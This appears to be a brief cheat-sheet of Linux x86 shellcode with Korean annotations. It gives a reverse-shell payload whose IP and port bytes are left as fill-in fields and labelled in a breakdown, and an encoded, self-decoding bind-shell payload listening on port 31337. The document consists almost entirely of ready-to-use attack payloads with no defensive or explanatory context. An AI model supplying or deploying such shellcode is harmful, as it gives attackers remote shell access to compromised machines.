Linux Remote Shellcode

Reverse Shell

shellcode = "\x68\xIP1\xIP2\xIP3\xIP4\x5e\x66\x68\x12\x34\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53"
            "\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x56\x66\x57"
            "\x66\x6a\x02\x89\xe1\x6a\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73"
            "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\xce"
 
 
ShellCode 설명
"\x68
\xIP1\xIP2\xIP3\xIP4    -> IP 주소
\x5e\x66\x68
\x12\x34                -> 내부 포트
\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53
\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x56\x66\x57
\x66\x6a\x02\x89\xe1\x6a\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73
\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\xce"

Bind Shell(Port 31337)

"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9"
"\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02"
"\xb5\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33"
"\xf8\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16"
"\x9f\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe"
"\x16\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5"
"\x9b\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02"
"\xb5\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97"
"\x9e\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5"